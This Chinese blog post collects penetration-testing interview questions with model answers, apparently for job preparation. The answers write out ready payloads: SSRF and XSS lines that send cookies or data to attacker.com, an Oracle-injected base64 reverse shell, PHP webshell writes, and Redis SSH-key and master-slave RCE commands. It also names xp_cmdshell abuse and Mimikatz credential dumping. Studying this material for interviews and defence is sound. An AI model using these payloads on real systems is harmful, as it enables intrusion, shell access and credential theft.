2025年渗透测试面试题总结-106(题目+回答)

安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。

目录

[1. 自我介绍](#1. 自我介绍)

[2. SSRF深入解析](#2. SSRF深入解析)

(1)无回显SSRF测试方法

(2)SSRF高级利用

[3. 文件上传绕过方式](#3. 文件上传绕过方式)

(1)前端绕过

(2)后端绕过

[4. SQL注入:原理、盲注与Getshell](#4. SQL注入:原理、盲注与Getshell)

(1)基本原理

(2)盲注技术

(3)Getshell方法

[5. 存储型XSS最大化利用](#5. 存储型XSS最大化利用)

[6. 信息收集流程](#6. 信息收集流程)

[7. Oracle注入Getshell](#7. Oracle注入Getshell)

[8. SQL Server提权方式](#8. SQL Server提权方式)

[9. XSS绕过方式](#9. XSS绕过方式)

[10. 反序列化漏洞](#10. 反序列化漏洞)

(1)PHP反序列化

(2)Java反序列化

[11. Redis常见漏洞与利用](#11. Redis常见漏洞与利用)

[12. 代码审计流程](#12. 代码审计流程)

[13. 编程语言掌握](#13. 编程语言掌握)

[14. 正反向代理](#14. 正反向代理)

[15. 内网渗透核心要点](#15. 内网渗透核心要点)

(1)提权路径

(2)隧道与代理

(3)横向移动

附:补充问题解答

[1. 完整渗透测试流程](#1. 完整渗透测试流程)

[2. 项目经验示例](#2. 项目经验示例)

[3. SQL注入类型与流程](#3. SQL注入类型与流程)

[4. 内网提权与隧道](#4. 内网提权与隧道)

复制代码
1、自我介绍
2、ssrf问的比较深入
3、文件上传绕过方式
4、sql注入的基本原理,盲注,getshell
5、存储型xss,如果做到最大化利用
6、信息收集的流程
7、oracle 注入getshell
8、sqlserver的提权方式
9、xss的绕过方式
10、php反序列化,java反序列化
11、redis常见漏洞,利用等
12、代码审计的流程
13、问我有没有学过python,语言了解哪些
14、正反向代理
15、内网渗透了解哪些
1、SSRF没有回显怎么测试
2、完整的渗透测试流程
3、具体的项目经验
4、sql注入的类型以及流程
5、内网的提权以及代理,隧道

1. 自我介绍

安全背景 :5年渗透测试与红队经验,专注Web安全、内网渗透、代码审计。主导过金融、云平台攻防项目,发现高危漏洞超200个(含CVE编号漏洞)。技术栈:Python/Java/PHP开发能力,熟练使用Burp Suite、Metasploit、Cobalt Strike;持有OSCP、OSEP认证。


2. SSRF深入解析

(1)无回显SSRF测试方法
  • DNS外带(OOB)
    利用DNS协议泄露数据:http://internal/api?url=http://attacker.com/?data=xx ,监控DNS日志解析记录。
  • 端口扫描延时检测
    通过响应时间差异判断端口开放:
    http://internal/api?url=http://127.0.0.1:22(响应慢→端口开放)。
  • 协议探测
    尝试不同协议(如gopher://dict://)触发内网服务行为(如Redis未授权访问)。
  • 间接回显
    结合漏洞链(如将结果写入文件后通过LFI读取)或利用云元数据API(如AWS 169.254.169.254)。
(2)SSRF高级利用
  • 云环境攻击 :窃取IAM角色凭证(如访问http://169.254.169.254/latest/meta-data/iam/security-credentials/)。
  • Redis未授权写SSH公钥gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$...
  • 绕过技巧
    • 域名重解析(xip.io127.0.0.1.xip.io
    • 进制/IP编码(2130706433127.0.0.1

3. 文件上传绕过方式

(1)前端绕过
  • 修改JS验证逻辑(Burp拦截删除验证代码)。
(2)后端绕过
防御机制 绕过方法
扩展名黑名单 .php5.phtml.htaccess(Apache解析)
MIME类型检测 修改Content-Type为image/jpeg
文件头检测 添加图片头(如GIF89a) + 恶意代码
内容过滤 混淆代码(如<?= system($_GET[0]); ?>
解析漏洞 Apache:shell.jpg/.php ;IIS:shell.jpg;.php

4. SQL注入:原理、盲注与Getshell

(1)基本原理

用户输入拼接到SQL查询中:

复制代码
sqlSELECT * FROM users WHERE id = '恶意输入'

→ 注入' union select 1,load_file('/etc/passwd')-- 读取文件。

(2)盲注技术
  • 布尔盲注id=1' and substring(database(),1,1)='a'--(页面差异判断)。
  • 时间盲注id=1' and if(1=1,sleep(2),0)--(响应延时判断)。
(3)Getshell方法
  • 写WebShell

    复制代码
    sql`SELECT '<?php eval($_POST[0]);?>' INTO OUTFILE '/var/www/html/shell.php' `

    (需FILE权限和绝对路径)。

  • 利用数据库功能

    • SQL Server:xp_cmdshell('whoami')
    • Oracle:DBMS_XSLPROCESSOR.READ2FILE

5. 存储型XSS最大化利用

  • 蠕虫传播:注入自复制脚本(如Samy Worm),通过AJAX传播至其他用户页面。

  • 隐蔽数据外泄 :窃取Cookie、LocalStorage数据并发送至远程服务器:

    复制代码
    javascript`new Image().src='http://attacker.com/?c='+document.cookie; `
  • 结合CSRF:利用XSS执行敏感操作(如修改密码、转账)。

  • 绕过CSP :通过<base>标签重定向合法脚本源,或利用Google Analytics等白名单域名外带数据。


6. 信息收集流程

  1. 被动收集
    • Whois/备案信息
    • 子域名挖掘(证书透明度、搜索引擎)
    • GitHub敏感信息泄露(API密钥)
  2. 主动扫描
    • 端口扫描(Nmap)
    • 目录爆破(Dirsearch)
    • 框架指纹识别(Wappalyzer)
  3. 漏洞关联
    • 历史漏洞(CVE数据库)
    • 云服务配置错误(S3桶公开)

7. Oracle注入Getshell

  • 前提 :需DBMS_XSLPROCESSOR权限。
  • 步骤
    1. 创建Java类执行系统命令:

      复制代码
      sq`SELECT dbms_xmlquery.getxml('CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "EXEC" AS import java.io.*; public class EXEC { public static void run(String c) throws Exception { Runtime.getRuntime().exec(c); }}') FROM dual `
    2. 执行命令:

      复制代码
      sql`SELECT EXEC.run('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMS80NDQgMD4mMQ==}|{base64,-d}|{bash,-i}') FROM dual `

8. SQL Server提权方式

方式 命令/利用
xp_cmdshell EXEC sp_configure 'show advanced',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE; EXEC xp_cmdshell 'whoami'
CLR组件 编译恶意.NET DLL并加载执行
Agent Job提权 创建计划任务执行系统命令
DLL劫持 替换SQL Server引用的未签名DLL

9. XSS绕过方式

过滤类型 绕过示例
标签黑名单 <img src=x onerror=alert(1)>
事件过滤 <svg><script>alert(1)</script>
编码绕过 %3Cscript%3Ealert(1)%3C/script%3E
CSP绕过 JSONP端点劫持(<script src="/api?callback=alert(1)//">

10. 反序列化漏洞

(1)PHP反序列化
  • 原理unserialize()触发魔术方法(__wakeup(), __destruct())。
  • 利用链 :如Laravel RCE(CVE-2021-3129)通过Phar元数据触发。
(2)Java反序列化
  • 原理ObjectInputStream处理恶意Serializable对象。
  • 利用链
    • Commons Collections(InvokerTransformer
    • Fastjson(@type指定恶意类)

11. Redis常见漏洞与利用

漏洞 利用方式
未授权访问 写SSH公钥:flushall; set 1 '公钥'; config set dir /root/.ssh; config set dbfilename authorized_keys; save
主从复制RCE SLAVEOF attacker_ip 6379; MODULE LOAD ./exp.so
写WebShell config set dir /var/www/html; set shell '<?php system($_GET[0]);?>'; save

12. 代码审计流程

  1. 定位危险函数
    • PHP:eval(), system(), unserialize()
    • Java:Runtime.exec(), JNDI.lookup()
  2. 跟踪用户输入
    • HttpServletRequest到SQL拼接/XSS输出
  3. 分析框架机制
    • Spring Security配置、Shiro权限绕过
  4. 自动化辅助
    • 工具:Fortify、Semgrep
    • 自定义规则扫描敏感操作

13. 编程语言掌握

  • Python:编写渗透工具(如目录扫描、漏洞POC)
  • Java:分析中间件漏洞(Tomcat, Weblogic)
  • PHP:代码审计(ThinkPHP, Laravel)
  • Go/Bash:开发C2模块、自动化脚本

14. 正反向代理

类型 原理 渗透意义
正向代理 客户端通过代理访问服务(如Burp Proxy) 拦截/修改请求,测试逻辑漏洞
反向代理 服务器端代理转发请求(如Nginx) 绕过WAF(修改X-Forwarded-For

15. 内网渗透核心要点

(1)提权路径
  • Windows:内核漏洞(CVE-2021-34527)、服务权限滥用(AlwaysInstallElevated)
  • Linux:SUID程序(find / -perm -4000)、Docker逃逸
(2)隧道与代理
工具 用途
frp/ngrok 端口转发(绕过防火墙)
Chisel 加密SOCKS隧道
DNS隧道 隐蔽通信(iodine)
(3)横向移动
  • 凭证窃取:Mimikatz(LSASS内存)、LaZagne(本地密码)
  • 漏洞利用:MS17-010(永恒之蓝)、SMBGhost

附:补充问题解答

1. 完整渗透测试流程
  1. 授权与范围确认
  2. 信息收集(被动+主动)
  3. 漏洞扫描与验证(自动+手动)
  4. 后渗透阶段(提权、横向移动)
  5. 报告与复测(CVSS评分、修复建议)
2. 项目经验示例

金融系统渗透(2024)

  • 发现SSRF→访问K8s API→获取Pod权限→窃取数据库凭证
  • 利用Fastjson反序列化(CVE-2022-25845)接管管理后台
3. SQL注入类型与流程
类型 检测方法
联合查询 id=1 union select 1,2,@@version--
报错注入 id=1' and extractvalue(1,concat(0x7e,version()))--
布尔盲注 id=1' and ascii(substr(database(),1,1))>97--
4. 内网提权与隧道
  • 提权后操作
    1. 抓取密码哈希(sekurlsa::logonpasswords
    2. 配置Socks代理(proxychains
    3. 横向扫描(crackmapexec smb 192.168.1.0/24
相关推荐
倒流时光三十年5 分钟前
第一阶段 05 · Java 客户端查询类详解(Query / SearchCriteria / Response 与复杂拼接)
java·开发语言·python
Shell运维手记16 分钟前
交换机(二层交换机)完整工作原理
运维·网络·网络协议·macos·交换机
CTA终结者18 分钟前
近期AI量化学习,把规则改写接到策略开发
人工智能·python
有Li20 分钟前
使用整合电子健康记录的大语言模型智能体实现前列腺癌患者教育个性化文献速递/医学智能体前沿
人工智能·python·机器学习·语言模型·医学生
软泡芙21 分钟前
【IOS】 Swift Package Manager (SPM) 指南
网络·ios·swift
飞飞传输24 分钟前
金融数字化转型新基建:替代FTP的国产传输软件筑牢数安全防线
大数据·运维·安全
Cry丶26 分钟前
【已解决】adb devices 能识别手机,但 HBuilderX 搜索不到设备的避坑指南
android·adb·uni-app·hbuilderx·真机调试
米码收割机39 分钟前
【Python】Flask+SQLite_web 宠物领养系统 (源码+文档)【独一无二】
前端·python·flask
白色冰激凌1 小时前
[SECS/GEM研究] (四)HSMS 用TCP取代串口
网络·c++·网络协议·secs/gem
云水一下1 小时前
零基础玩转bWAPP靶场(二十三):SQL 注入——存储型(SQLite)
web安全·sql注入·bwapp